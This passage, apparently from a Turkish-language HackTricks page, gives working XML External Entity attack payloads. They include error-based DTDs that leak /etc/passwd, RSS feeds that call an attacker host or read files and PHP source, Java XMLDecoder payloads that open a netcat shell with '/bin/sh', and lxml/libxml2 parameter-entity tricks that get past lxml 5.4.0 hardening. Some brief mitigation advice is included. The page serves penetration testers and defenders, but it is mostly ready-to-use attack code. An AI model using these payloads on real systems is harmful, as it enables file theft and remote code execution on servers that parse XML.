Hata mesajında dosya içeriğini dahil etmek için, DTD dosyası ayarlanır:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML Dış Varlık) saldırısını gösterir.
RSS - XEE
XXE zafiyetini istismar etmek için geçerli RSS formatında XML.
Ping back
Saldırganın sunucusuna basit bir HTTP isteği
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Dosya oku
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Kaynak kodunu oku
PHP base64 filtresi kullanarak
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın readObject yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde edecektir.
Using Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
XXE + WrapWrap + Lightyear + bypasses
Bu harika rapora bir göz atın https://swarm.ptsecurity.com/impossible-xxe-in-php/
Araçlar
GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities
Python lxml Parametre-Varlık XXE (Hata Tabanlı Dosya Açığa Çıkarma)
info
Python kütüphanesi lxml, arka planda libxml2 kullanır. lxml 5.4.0 / libxml2 2.13.8 sürümlerinden önce, resolve_entities=False
olduğunda bile parametre varlıklarını genişletir, bu da uygulama load_dtd=True
ve/veya resolve_entities=True
etkinleştirildiğinde erişilebilir hale getirir. Bu, yerel dosyaların içeriğini ayrıştırıcı hata mesajına gömen Hata Tabanlı XXE yüklerini mümkün kılar.
1. lxml < 5.4.0'ı Sömürme
- Diskte tanımsız bir parametre varlığını tanımlayan veya oluşturan bir yerel DTD belirleyin. (örn.
%config_hex;
). - Aşağıdakileri yapan bir iç DTD oluşturun:
- Yerel DTD'yi
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
ile yükler. - Tanımsız varlığı yeniden tanımlar, böylece:
- Hedef dosyayı okur (
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
). %flag;
değerini içeren geçersiz bir yol referans veren başka bir parametre varlığı oluşturur ve bir ayrıştırıcı hatası tetikler (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
).
- Son olarak,
%local_dtd;
ve%eval;
genişletin, böylece ayrıştırıcı%error;
ile karşılaşır,/aaa/<FLAG>
açmayı başaramaz ve bayrağı fırlatılan istisna içinde açığa çıkarır – bu genellikle uygulama tarafından kullanıcıya geri döner.
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
Uygulama istisnayı yazdırdığında, yanıt şunları içerir:
Error : failed to load external entity "file:///aaa/FLAG{secret}"
tip
Eğer ayrıştırıcı iç alt küme içinde %
/&
karakterleri hakkında şikayet ediyorsa, bunları çift kodlayın (&#x25;
⇒ %
) genişlemeyi geciktirmek için.
2. lxml 5.4.0 sertleştirmesini atlamak (libxml2 hala savunmasız)
lxml
≥ 5.4.0, yukarıdaki gibi hata parametre varlıklarını yasaklar, ancak libxml2 bunların genel bir varlık içinde gömülmesine hala izin verir. Hile şudur:
- Dosyayı bir parametre varlığı
%file
içine okuyun. - Genel bir varlık
c
oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı,meow://%file;
gibi mevcut olmayan bir protokol kullanır. - XML gövdesine
&c;
yerleştirin. Ayrıştırıcımeow://…
adresini çözmeye çalıştığında başarısız olur ve hata mesajında tam URI'yi – dosya içeriği de dahil – yansıtır.
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
Anahtar çıkarımlar
- Parametre varlıkları,
resolve_entities
XXE'yi engellemesi gerektiğinde bile libxml2 tarafından genişletilmeye devam eder. - Geçersiz URI veya mevcut olmayan dosya, kontrol edilen verilerin fırlatılan istisnaya eklenmesi için yeterlidir.
- Bu teknik, dışa bağlantı olmadan çalışır, bu da onu katı çıkış filtreli ortamlar için ideal hale getirir.
Azaltma rehberi
- lxml ≥ 5.4.0 sürümüne yükseltin ve temel libxml2 sürümünün ≥ 2.13.8 olduğundan emin olun.
- Kesinlikle gerekli olmadıkça
load_dtd
ve/veyaresolve_entities
'i devre dışı bırakın. - Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının.
Referanslar
-
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
-
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
-
Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarın: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
-
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.